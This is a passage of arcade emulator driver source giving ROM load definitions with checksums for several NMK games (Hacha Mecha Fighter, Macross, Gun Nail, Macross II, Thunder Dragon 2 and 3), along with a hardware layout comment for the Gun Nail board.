ROM_LOAD16_BYTE( "6.94", 0x00001, 0x20000, CRC(de6408a0) SHA1(2df77fecd44d2d8b0444abd4545923213ed76b2d) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // unknown - sound CPU ?????? ROM_LOAD( "1.70", 0x00000, 0x10000, CRC(9e6f48fc) SHA1(aeb5bfecc025b5478f6de874792fc0f7f54932be) ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "5.95", 0x000000, 0x020000, CRC(29fb04a2) SHA1(9654b90a66d0e2a0f9cd369cab29cdd0c6f77869) ) // 8x8 tiles ROM_REGION( 0x100000, "bgtile", 0 ) // 16x16 tiles ROM_LOAD( "91076-4.101", 0x000000, 0x100000, CRC(df9653a4) SHA1(4a3204a98d7738c7895169fcece922fdf355f4fa) ) ROM_REGION( 0x100000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "91076-8.57", 0x000000, 0x100000, CRC(7fd0f556) SHA1(d1b4bec0946869d3d7bcb870d9ae3bd17395a231) ) // Sprites ROM_REGION( 0x080000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "91076-2.46", 0x00000, 0x80000, CRC(3f1e67f2) SHA1(413e78587d8a043a0eb94447313ba1b3c5b35be5) ) // 1st & 2nd half identical, needs verifying // 0x20000 - 0x80000 banked ROM_REGION( 0x080000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "91076-3.45", 0x00000, 0x80000, CRC(b25ed93b) SHA1(d7bc686bbccf982f40420a11158aa8e5dd4207c5) ) // 1st & 2nd half identical, needs verifying // 0x20000 - 0x80000 banked ROM_END ROM_START( hachamfa) // reportedly a Korean PCB / version ROM_REGION( 0x40000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "7.ic93", 0x00000, 0x20000, CRC(f437e52b) SHA1(061a75a7a9734034d1c499fc0bc2d8a61bb26da4) ) // internally reports as 19th Sep. 1991 ROM_LOAD16_BYTE( "6.ic94", 0x00001, 0x20000, CRC(60d340d0) SHA1(3c6f862901b403d6ddf58823af7d6e3f67573788) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // unknown - sound CPU ?????? ROM_LOAD( "1.70", 0x00000, 0x10000, CRC(9e6f48fc) SHA1(aeb5bfecc025b5478f6de874792fc0f7f54932be) ) ROM_REGION( 0x020000, "fgtile", 0 ) // Smaller NMK logo plus alternate Distributed by UPL Company Limited starting at tile 0xF80 ROM_LOAD( "5.ic95", 0x000000, 0x020000, CRC(a2c1e25d) SHA1(cf09cbfd9afc7e3907fef6b26fb269b743f2e036) ) // 8x8 tiles ROM_REGION( 0x100000, "bgtile", 0 ) // 16x16 tiles ROM_LOAD( "91076-4.101", 0x000000, 0x100000, CRC(df9653a4) SHA1(4a3204a98d7738c7895169fcece922fdf355f4fa) ) ROM_REGION( 0x100000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "91076-8.57", 0x000000, 0x100000, CRC(7fd0f556) SHA1(d1b4bec0946869d3d7bcb870d9ae3bd17395a231) ) // Sprites ROM_REGION( 0x080000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "91076-2.46", 0x00000, 0x80000, CRC(3f1e67f2) SHA1(413e78587d8a043a0eb94447313ba1b3c5b35be5) ) // 1st & 2nd half identical, needs verifying // 0x20000 - 0x80000 banked ROM_REGION( 0x080000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "91076-3.45", 0x00000, 0x80000, CRC(b25ed93b) SHA1(d7bc686bbccf982f40420a11158aa8e5dd4207c5) ) // 1st & 2nd half identical, needs verifying // 0x20000 - 0x80000 banked ROM_END ROM_START( hachamfb ) // Thunder Dragon conversion - unprotected prototype or bootleg? ROM_REGION( 0x40000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "8.bin", 0x00000, 0x20000, CRC(14845b65) SHA1(5cafd07a8a6f5ccbb36de7a90571f8b33ecf273e) ) // internally reports as 19th Sep. 1991 ROM_LOAD16_BYTE( "7.bin", 0x00001, 0x20000, CRC(069ca579) SHA1(0db4c3c41e17fca613d11de89b388a4af206ec6b) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // unknown - sound CPU ?????? ROM_LOAD( "1.70", 0x00000, 0x10000, CRC(9e6f48fc) SHA1(aeb5bfecc025b5478f6de874792fc0f7f54932be) ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "5.95", 0x000000, 0x020000, CRC(29fb04a2) SHA1(9654b90a66d0e2a0f9cd369cab29cdd0c6f77869) ) // 8x8 tiles ROM_REGION( 0x100000, "bgtile", 0 ) // 16x16 tiles ROM_LOAD( "91076-4.101", 0x000000, 0x100000, CRC(df9653a4) SHA1(4a3204a98d7738c7895169fcece922fdf355f4fa) ) ROM_REGION( 0x100000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "91076-8.57", 0x000000, 0x100000, CRC(7fd0f556) SHA1(d1b4bec0946869d3d7bcb870d9ae3bd17395a231) ) // Sprites ROM_REGION( 0x080000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "91076-2.46", 0x00000, 0x80000, CRC(3f1e67f2) SHA1(413e78587d8a043a0eb94447313ba1b3c5b35be5) ) // 1st & 2nd half identical, needs verifying // 0x20000 - 0x80000 banked ROM_REGION( 0x080000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "91076-3.45", 0x00000, 0x80000, CRC(b25ed93b) SHA1(d7bc686bbccf982f40420a11158aa8e5dd4207c5) ) // 1st & 2nd half identical, needs verifying // 0x20000 - 0x80000 banked ROM_END ROM_START( hachamfp ) // Protoype Location Test Release; Hand-written labels with various dates. 68K program ROM has 19th Sep. 1991 string. ROM_REGION( 0x40000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "kf-68-pe-b.ic7", 0x00000, 0x20000, CRC(b98a525e) SHA1(161c3b3360068e606e4d4104cc172b9736a52eeb) ) // Label says "KF 9/25 II 68 PE B" ROM_LOAD16_BYTE( "kf-68-po-b.ic6", 0x00001, 0x20000, CRC(b62ad179) SHA1(60a66fb9eb3fc792d172e1f4507a806ac2ad4217) ) // Label says "KF 9/25 II 68 PO B" ROM_REGION( 0x10000, "audiocpu", 0 ) // External NMK004 data ROM_LOAD( "kf-snd.ic4", 0x00000, 0x10000, CRC(f7cace47) SHA1(599f6406f5bea69d77f39847d5d5fa361cdb7d00) ) // Label says "KF 9/20 SND" ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "kf-vram.ic3", 0x000000, 0x020000, CRC(a2c1e25d) SHA1(cf09cbfd9afc7e3907fef6b26fb269b743f2e036) ) // Label says "KF 9/24 VRAM" ROM_REGION( 0x100000, "bgtile", 0 ) // 16x16 tiles ROM_LOAD( "kf-scl0.ic5", 0x000000, 0x080000, CRC(8604adff) SHA1(a50536990477ee0100b996449330542661e2ea35) ) // Label says "KF 9/9 SCL 0" ROM_LOAD( "kf-scl1.ic12", 0x080000, 0x080000, CRC(05a624e3) SHA1(e1b686b36c0adedfddf70eeb6411671bbcd897d8) ) // Label says "KF 9/19 SCL 1" ROM_REGION( 0x100000, "sprites", 0 ) // Sprites ROM_LOAD16_BYTE( "kf-obj0.ic8", 0x000000, 0x080000, CRC(a471bbd8) SHA1(f8b8b9fee8eb3470b5a1d78327a71e113dc3f1d2) ) // ROM had no label attached ROM_LOAD16_BYTE( "kf-obj1.ic11", 0x000001, 0x080000, CRC(81594aad) SHA1(87b6ff1817841fe492a0a743386dfef7b32b86ff) ) // ROM had no label attached ROM_REGION( 0x080000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "kf-a0.ic2", 0x00000, 0x80000, CRC(e068d2cf) SHA1(4db81dee6291b3cfa1d8c7edf0c06d54ee072e3d) ) // Label says "KF 9/13 A0" ROM_REGION( 0x080000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "kf-a1.ic1", 0x00000, 0x80000, CRC(d945aabb) SHA1(3c73bc47b79a8498f68a4b25d9c0f3d21eb0a432) ) // Label says "KF ??? A1"; corner is ripped off containing date ROM_REGION( 0x0200, "proms", 0 ) ROM_LOAD( "82s135.ic50", 0x0000, 0x0100, CRC(633ab1c9) SHA1(acd99fcca41eaab7948ca84988352f1d7d519c61) ) // On main board near NMK 902 ROM_LOAD( "82s129.ic51", 0x0100, 0x0100, CRC(cfdbb86c) SHA1(588822f6308a860937349c9106c2b4b1a75823ec) ) // On main board near NMK 902 ROM_END ROM_START( macross ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_WORD_SWAP( "921a03", 0x00000, 0x80000, CRC(33318d55) SHA1(c99f85e09bd334dc8ce138b08cbed2331b0d67dd) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // sound program (unknown CPU) ROM_LOAD( "921a02", 0x00000, 0x10000, CRC(77c082c7) SHA1(be07aa14d0116f830f98e11a19f1debb48a5230e) ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "921a01", 0x000000, 0x020000, CRC(bbd8242d) SHA1(7cf4897be1278e1190f499f00bc78384817a5160) ) // 8x8 tiles ROM_REGION( 0x200000, "bgtile", 0 ) ROM_LOAD( "921a04", 0x000000, 0x200000, CRC(4002e4bb) SHA1(281433d798ac85c84d4f1f3751a3032e8a3b5cd4) ) // 16x16 tiles ROM_REGION( 0x200000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "921a07", 0x000000, 0x200000, CRC(7d2bf112) SHA1(1997c99c2d3998096842abd1cee89e0e6ab43a47) ) // Sprites ROM_REGION( 0x80000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "921a05", 0x00000, 0x80000, CRC(d5a1eddd) SHA1(42b5b255f02b9c6d856b1578af9a5dfc51ea6ebb) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x80000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "921a06", 0x00000, 0x80000, CRC(89461d0f) SHA1(b7d27d0ee0b7ab44c20ab710b567f64fc3afb90c) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x0220, "proms", 0 ) ROM_LOAD( "921a08", 0x0000, 0x0100, CRC(cfdbb86c) SHA1(588822f6308a860937349c9106c2b4b1a75823ec) ) // unknown ROM_LOAD( "921a09", 0x0100, 0x0100, CRC(633ab1c9) SHA1(acd99fcca41eaab7948ca84988352f1d7d519c61) ) // unknown ROM_LOAD( "921a10", 0x0200, 0x0020, CRC(8371e42d) SHA1(6cfd70dfa00e85ec1df8832d41df331cc3e3733a) ) // unknown ROM_END /* Gun Nail NMK/Tecmo, 1993 PCB Layout ---------- AK92077 |-------------------------------------------------------------| | LA4460 VOL YM2203 6116 92077-2.U101 62256 62256 | |-| 16MHz |------| 62256 62256 | | 4558 6295 92077-6.U57 |NMK004| 62256 62256 | |-| 12MHz | | 62256 62256 | | YM3014 6295 92077-5.U56 |------| | | |------| DIP2 |------| |------| | |J |NMK005| |NMK009| |NMK009| | |A | | DIP1 | | | | | |M |------| 92077-10.U96 |------| |------| | |M 6116 | |A |------| 6116 6116 |------| |----------| | | |NMK111| 6116 |NMK008| | NMK214 | | | |------| | | |----------| | |-| 92077-8.U35 |------|92077-9.U72|------| | | |NMK902| |----------| | |-| 6116 |------| | NMK215 | 92077-7.U134 | | 6116 |------| |----------| | | |------| 92077-1.U21 |NMK903| 92077-3O.U133| | |NMK111| |----------| |------| 62256 92077-3E.U131| | |------| | NMK214 | |------| 62256 | | |----------| |NMK903| |----------------| | | |------| |------| 6116 | | | | |NMK111| 92077-4.U19 |------| | 68000 | | | |------| |NMK901| 6116 | | | | 6264 |------| |----------------| | | 6264 10MHz | |-------------------------------------------------------------| Notes: 68000 - Motorola MC68000P12 CPU running at 10MHz (DIP64) 6116 - 2Kb x8 SRAM (x9, DIP24) 6264 - 8Kb x8 SRAM (x2, DIP28) 62256 - 32Kb x8 SRAM (x10, DIP28) YM2203- Yamaha YM2203 running at 1.5MHz [12/8] (DIP40) YM3014- Yamaha YM3014 (DIP8) 6295 - OKI M6295 running at 4MHz, pin 7 low [16/4] (x2, QFP44) 4558 - BA4558 Op Amp (DIP8) LA4460- Power Amplifier DIP1/2- 8 position DIP Switches VOL - Volume Potentiometer OSC - 12MHz, 16MHz, 10MHz HSync - 15.367kHz VSync - 56.205Hz NMK CUSTOM IC'S - NMK004 marked "NMK004 0840-1324". Actually a TLCS90-based Toshiba TMP90C840AF Microcontroller with 256 bytes RAM & 8Kb ROM, running at 8.000MHz [16/2] (QFP64) - NMK005 (x1, Square QFP64) - NMK008 (x1, Square QFP84) - NMK009 (x2, Square QFP100) - NMK111 (x3, QFP64) - NMK901 (x1, QFP80) - NMK903 (x2, QFP44) - NMK214 (x2, SDIP64) - NMK215 (x1, SDIP64) */ ROM_START( gunnail ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "3e.u131", 0x00000, 0x40000, CRC(61d985b2) SHA1(96daca603f18accb47f98a3e584b2c84fc5a2ca4) ) ROM_LOAD16_BYTE( "3o.u133", 0x00001, 0x40000, CRC(f114e89c) SHA1(a12f5278167f446bb5277e87289c41b5aa365c86) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Code for NMK004 CPU ROM_LOAD( "92077_2.u101", 0x00000, 0x10000, CRC(cd4e55f8) SHA1(92182767ca0ec37ec4949bd1a88c2efdcdcb60ed) ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "1.u21", 0x000000, 0x020000, CRC(3d00a9f4) SHA1(91a82e3e74c8774d7f8b2adceb228b97010facfd) ) // 8x8 tiles ROM_REGION( 0x100000, "bgtile", 0 ) ROM_LOAD( "92077-4.u19", 0x000000, 0x100000, CRC(a9ea2804) SHA1(14dbdb3c7986db5e44dc7c5be6fcf39f3d1e50b0) ) // 16x16 tiles ROM_REGION( 0x200000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "92077-7.u134", 0x000000, 0x200000, CRC(d49169b3) SHA1(565ff7725dd6ace79b55706114132d8d867e81a9) ) // Sprites ROM_REGION( 0x080000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "92077-5.u56", 0x00000, 0x80000, CRC(feb83c73) SHA1(b44e9d20b4af02e218c4bc875d66a7d6b8551cae) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x080000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "92077-6.u57", 0x00000, 0x80000, CRC(6d133f0d) SHA1(8a5e6e27a297196f20e4de0d060f1188115809bb) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x0220, "proms", 0 ) ROM_LOAD( "8_82s129.u35", 0x0000, 0x0100, CRC(4299776e) SHA1(683d14d2ace14965f0fcfe0f0540c1b77d2cece5) ) // unknown ROM_LOAD( "9_82s135.u72", 0x0100, 0x0100, CRC(633ab1c9) SHA1(acd99fcca41eaab7948ca84988352f1d7d519c61) ) // unknown ROM_LOAD( "10_82s123.u96", 0x0200, 0x0020, CRC(c60103c8) SHA1(dfb05b704bb5e1f75f5aaa4fa36e8ddcc905f8b6) ) // unknown ROM_END ROM_START( gunnailp ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_WORD_SWAP( "3.u132", 0x00000, 0x80000, CRC(93570f03) SHA1(54fb203b5bfceb0ac86627bff3e67863f460fe73) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Code for NMK004 CPU ROM_LOAD( "92077_2.u101", 0x00000, 0x10000, CRC(cd4e55f8) SHA1(92182767ca0ec37ec4949bd1a88c2efdcdcb60ed) ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "1.u21", 0x000000, 0x020000, CRC(bdf427e4) SHA1(e9cd178d1d9e2ed72f0fb013385d935f334b8fe3) ) // 8x8 tiles ROM_REGION( 0x100000, "bgtile", 0 ) ROM_LOAD( "92077-4.u19", 0x000000, 0x100000, CRC(a9ea2804) SHA1(14dbdb3c7986db5e44dc7c5be6fcf39f3d1e50b0) ) // 16x16 tiles ROM_REGION( 0x200000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "92077-7.u134", 0x000000, 0x200000, CRC(d49169b3) SHA1(565ff7725dd6ace79b55706114132d8d867e81a9) ) // Sprites ROM_REGION( 0x080000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "92077-5.u56", 0x00000, 0x80000, CRC(feb83c73) SHA1(b44e9d20b4af02e218c4bc875d66a7d6b8551cae) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x080000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "92077-6.u57", 0x00000, 0x80000, CRC(6d133f0d) SHA1(8a5e6e27a297196f20e4de0d060f1188115809bb) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x0220, "proms", 0 ) ROM_LOAD( "8_82s129.u35", 0x0000, 0x0100, CRC(4299776e) SHA1(683d14d2ace14965f0fcfe0f0540c1b77d2cece5) ) // unknown ROM_LOAD( "9_82s135.u72", 0x0100, 0x0100, CRC(633ab1c9) SHA1(acd99fcca41eaab7948ca84988352f1d7d519c61) ) // unknown ROM_LOAD( "10_82s123.u96", 0x0200, 0x0020, CRC(c60103c8) SHA1(dfb05b704bb5e1f75f5aaa4fa36e8ddcc905f8b6) ) // unknown ROM_END // bootleg board labeled 'GT ELEKTRONIK 16.04.93' with only 1 OKI and no NMK custom chips. Only sprites and bgtile ROMs are identical to the original. ROM_START( gunnailb ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "27c020.6d", 0x00000, 0x40000, CRC(b9566c46) SHA1(dcecec0d401cdf8054b4b7a5dedee62332d92002) ) ROM_LOAD16_BYTE( "27c020.6e", 0x00001, 0x40000, CRC(6ba7c54d) SHA1(3932b96d2f1f541f8679524de3bb8867aded9f83) ) ROM_REGION( 0x20000, "audiocpu", 0 ) ROM_LOAD( "27c010.3b", 0x00000, 0x20000, CRC(6e0a5df0) SHA1(616b7c7aaf52a9a55b63c60717c1866940635cd4) ) // matches the one for Kaneko's Air Buster ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "27c010.5g", 0x000000, 0x020000, CRC(6d2ca620) SHA1(6ed3b9987d1740f36235e33bdd66867c24f93f7e) ) // 8x8 tiles ROM_REGION( 0x200000, "bgtile", 0 ) ROM_LOAD( "27c160.k10", 0x000000, 0x200000, CRC(062100a9) SHA1(c7e81656b8112c161d3e9be3edf001da97721727) ) // 16x16 tiles, 1st and 2nd half identical ROM_REGION( 0x200000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "27c160.a9", 0x000000, 0x200000, CRC(d49169b3) SHA1(565ff7725dd6ace79b55706114132d8d867e81a9) ) // Sprites ROM_REGION( 0x040000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "27c020.1c", 0x00000, 0x40000, CRC(c5f7c0d9) SHA1(dea090ee535edb4e9167078f6e6e5fe4e544625a) ) ROM_END ROM_START( macross2 ) // Title screen shows Kanji characters & Macross II ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_WORD_SWAP( "mcrs2j.3", 0x00000, 0x80000, CRC(36a618fe) SHA1(56fdb2bcb4a39888cfbaf9692d66335524a6ac0c) ) ROM_REGION( 0x20000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "mcrs2j.2", 0x00000, 0x20000, CRC(b4aa8ac7) SHA1(73a6de56cbfb468450d9b39fcbae0362f242f37b) ) // banked ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "mcrs2j.1", 0x000000, 0x020000, CRC(c7417410) SHA1(41431d8f1ff4d66baf1a8518a0b0c0125d1d71d4) ) // 8x8 tiles ROM_REGION( 0x200000, "bgtile", 0 ) ROM_LOAD( "bp932an.a04", 0x000000, 0x200000, CRC(c4d77ff0) SHA1(aca60a3f5f89265e7e3799e5d80ea8196fb11ff3) ) // 16x16 tiles ROM_REGION( 0x400000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "bp932an.a07", 0x000000, 0x200000, CRC(aa1b21b9) SHA1(133822e3d8628aa4eb3e62fbd054956799423b98) ) // Sprites ROM_LOAD16_WORD_SWAP( "bp932an.a08", 0x200000, 0x200000, CRC(67eb2901) SHA1(25e0f9fda1a8c0c2b59616dd153cb6dcb459d2d9) ) ROM_REGION( 0x240000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "bp932an.a06", 0x040000, 0x200000, CRC(ef0ffec0) SHA1(fd72cc77e02d1a00bf27e77a33d7dab5f6ba1cb4) ) // all banked ROM_REGION( 0x140000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "bp932an.a05", 0x040000, 0x100000, CRC(b5335abb) SHA1(f4eaf4e465eeca31741d432ee46ed39ffcd92cca) ) // all banked ROM_REGION( 0x0200, "proms", 0 ) ROM_LOAD( "mcrs2bpr.9", 0x0000, 0x0100, CRC(435653a2) SHA1(575b4a46ea65179de3042614da438d2f6d8b572e) ) // unknown ROM_LOAD( "mcrs2bpr.10", 0x0100, 0x0100, CRC(e6ead349) SHA1(6d81b1c0233580aa48f9718bade42d640e5ef3dd) ) // unknown ROM_END ROM_START( macross2k ) // Title screen only shows Macross II, no Kanji. Suspected Korean version - Language dip still used for Stage info screens ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_WORD_SWAP( "1.3", 0x00000, 0x80000, CRC(1506fcfc) SHA1(638ccc90effde3be20ab9b4da3a0d75af2577e51) ) // non descript ROM label "1" ROM_REGION( 0x20000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "mcrs2j.2", 0x00000, 0x20000, CRC(b4aa8ac7) SHA1(73a6de56cbfb468450d9b39fcbae0362f242f37b) ) // banked ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "2.1", 0x000000, 0x020000, CRC(372dfa11) SHA1(92934128c82191a08a359ec690576bc5888f085e) ) // 8x8 tiles - non descript ROM label "2" ROM_REGION( 0x200000, "bgtile", 0 ) ROM_LOAD( "bp932an.a04", 0x000000, 0x200000, CRC(c4d77ff0) SHA1(aca60a3f5f89265e7e3799e5d80ea8196fb11ff3) ) // 16x16 tiles ROM_REGION( 0x400000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "bp932an.a07", 0x000000, 0x200000, CRC(aa1b21b9) SHA1(133822e3d8628aa4eb3e62fbd054956799423b98) ) // Sprites ROM_LOAD16_WORD_SWAP( "bp932an.a08", 0x200000, 0x200000, CRC(67eb2901) SHA1(25e0f9fda1a8c0c2b59616dd153cb6dcb459d2d9) ) ROM_REGION( 0x240000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "bp932an.a06", 0x040000, 0x200000, CRC(ef0ffec0) SHA1(fd72cc77e02d1a00bf27e77a33d7dab5f6ba1cb4) ) // all banked ROM_REGION( 0x140000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "bp932an.a05", 0x040000, 0x100000, CRC(b5335abb) SHA1(f4eaf4e465eeca31741d432ee46ed39ffcd92cca) ) // all banked ROM_REGION( 0x0200, "proms", 0 ) ROM_LOAD( "mcrs2bpr.9", 0x0000, 0x0100, CRC(435653a2) SHA1(575b4a46ea65179de3042614da438d2f6d8b572e) ) // unknown ROM_LOAD( "mcrs2bpr.10", 0x0100, 0x0100, CRC(e6ead349) SHA1(6d81b1c0233580aa48f9718bade42d640e5ef3dd) ) // unknown ROM_END ROM_START( macross2g ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_WORD_SWAP( "3.u11", 0x00000, 0x80000, CRC(151f9d39) SHA1(d0454627f019c60615cc8bd11e6cbec1f885cf13) ) ROM_REGION( 0x20000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "mcrs2j.2", 0x00000, 0x20000, CRC(b4aa8ac7) SHA1(73a6de56cbfb468450d9b39fcbae0362f242f37b) ) // banked ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "mcrs2j.1", 0x000000, 0x020000, CRC(c7417410) SHA1(41431d8f1ff4d66baf1a8518a0b0c0125d1d71d4) ) // 8x8 tiles ROM_REGION( 0x200000, "bgtile", 0 ) ROM_LOAD( "bp932an.a04", 0x000000, 0x200000, CRC(c4d77ff0) SHA1(aca60a3f5f89265e7e3799e5d80ea8196fb11ff3) ) // 16x16 tiles ROM_REGION( 0x400000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "bp932an.a07", 0x000000, 0x200000, CRC(aa1b21b9) SHA1(133822e3d8628aa4eb3e62fbd054956799423b98) ) // Sprites ROM_LOAD16_WORD_SWAP( "bp932an.a08", 0x200000, 0x200000, CRC(67eb2901) SHA1(25e0f9fda1a8c0c2b59616dd153cb6dcb459d2d9) ) ROM_REGION( 0x240000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "bp932an.a06", 0x040000, 0x200000, CRC(ef0ffec0) SHA1(fd72cc77e02d1a00bf27e77a33d7dab5f6ba1cb4) ) // all banked ROM_REGION( 0x140000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "bp932an.a05", 0x040000, 0x100000, CRC(b5335abb) SHA1(f4eaf4e465eeca31741d432ee46ed39ffcd92cca) ) // all banked ROM_REGION( 0x0200, "proms", 0 ) ROM_LOAD( "mcrs2bpr.9", 0x0000, 0x0100, CRC(435653a2) SHA1(575b4a46ea65179de3042614da438d2f6d8b572e) ) // unknown ROM_LOAD( "mcrs2bpr.10", 0x0100, 0x0100, CRC(e6ead349) SHA1(6d81b1c0233580aa48f9718bade42d640e5ef3dd) ) // unknown ROM_END ROM_START( tdragon2 ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_WORD_SWAP( "6.rom", 0x00000, 0x80000, CRC(ca348caf) SHA1(7c5b0b92560baf413591230e061d2d57b25deafe) ) ROM_REGION( 0x20000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "5.bin", 0x00000, 0x20000, CRC(b870be61) SHA1(ea5d45c3a3ab805e55806967f00167cf6366212e) ) // banked ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "1.bin", 0x000000, 0x020000, CRC(d488aafa) SHA1(4d05e7ca075b638dd90ae4c9f224817a8a3ae9f3) ) // 8x8 tiles ROM_REGION( 0x200000, "bgtile", 0 ) ROM_LOAD( "ww930914.2", 0x000000, 0x200000, CRC(f968c65d) SHA1(fd6d21bba53f945b1597d7d0735bc62dd44d5498) ) // 16x16 tiles ROM_REGION( 0x400000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "ww930917.7", 0x000000, 0x200000, CRC(b98873cb) SHA1(cc19200865176e940ff68e12de81f029b51c2084) ) // Sprites ROM_LOAD16_WORD_SWAP( "ww930918.8", 0x200000, 0x200000, CRC(baee84b2) SHA1(b325b00e6147266dbdc840e03556004531dc2038) ) ROM_REGION( 0x240000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "ww930916.4", 0x040000, 0x200000, CRC(07c35fe6) SHA1(33547bd88764704310f2ef8cf3bfe21ceb56d5b7) ) // all banked ROM_REGION( 0x240000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "ww930915.3", 0x040000, 0x200000, CRC(82025bab) SHA1(ac6053700326ea730d00ec08193e2c8a2a019f0b) ) // all banked ROM_REGION( 0x0200, "proms", 0 ) ROM_LOAD( "9.bpr", 0x0000, 0x0100, CRC(435653a2) SHA1(575b4a46ea65179de3042614da438d2f6d8b572e) ) // unknown ROM_LOAD( "10.bpr", 0x0100, 0x0100, CRC(e6ead349) SHA1(6d81b1c0233580aa48f9718bade42d640e5ef3dd) ) // unknown ROM_END ROM_START( tdragon3h ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "h.27c2001", 0x00000, 0x40000, CRC(0091f4a3) SHA1(025e5f7ff12eaa90c5cfe757c71d58ba7040cba7) ) ROM_LOAD16_BYTE( "l.27c020", 0x00001, 0x40000, CRC(4699c313) SHA1(1851a4b5ad9c2bac230126d195e239a5ebe827f9) ) ROM_REGION( 0x20000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "1.27c1000", 0x00000, 0x20000, CRC(b870be61) SHA1(ea5d45c3a3ab805e55806967f00167cf6366212e) ) // banked ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "12.27c1000", 0x000000, 0x020000, CRC(f809d616) SHA1(c6a4d776fee770ec197204b855b85bcc719469a5) ) // 8x8 tiles ROM_REGION( 0x200000, "bgtile", 0 ) // identical to tdragon2, only split ROM_LOAD( "conny.3", 0x000000, 0x100000, CRC(5951c031) SHA1(c262aeda0befcf4ac30638d42f2d40ba54c66ea7) ) // 16x16 tiles ROM_LOAD( "conny.4", 0x100000, 0x100000, CRC(a7772524) SHA1(fcf980272c5e4088f492b429cb288bc0c46cf5a2) ) ROM_REGION( 0x400000, "sprites", 0 ) // identical to tdragon2, only split ROM_LOAD16_BYTE( "conny.2", 0x000000, 0x100000, CRC(fefe8384) SHA1(a68069691cef0454059bd383f6c85ce19af2c0e7) ) // Sprites ROM_LOAD16_BYTE( "conny.1", 0x000001, 0x100000, CRC(37b32460) SHA1(7b689a7e23a9428c6d36f0791a64e7a9a41e7cfa) ) ROM_LOAD16_WORD_SWAP( "conny.5", 0x200000, 0x200000, CRC(baee84b2) SHA1(b325b00e6147266dbdc840e03556004531dc2038) ) ROM_REGION( 0x240000, "oki1", ROMREGION_ERASEFF ) // only 1 oki on this PCB ROM_REGION( 0x240000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "conny.6", 0x040000, 0x100000, CRC(564f87ed) SHA1(010dd001fda28d9c15ca09a0d12cac438a46cd54) ) // all banked ROM_LOAD( "conny.7", 0x140000, 0x100000, CRC(2e767f6f) SHA1(34e3f747716eb7a585340791c2cfbfde57681d69) ) ROM_REGION( 0x0200, 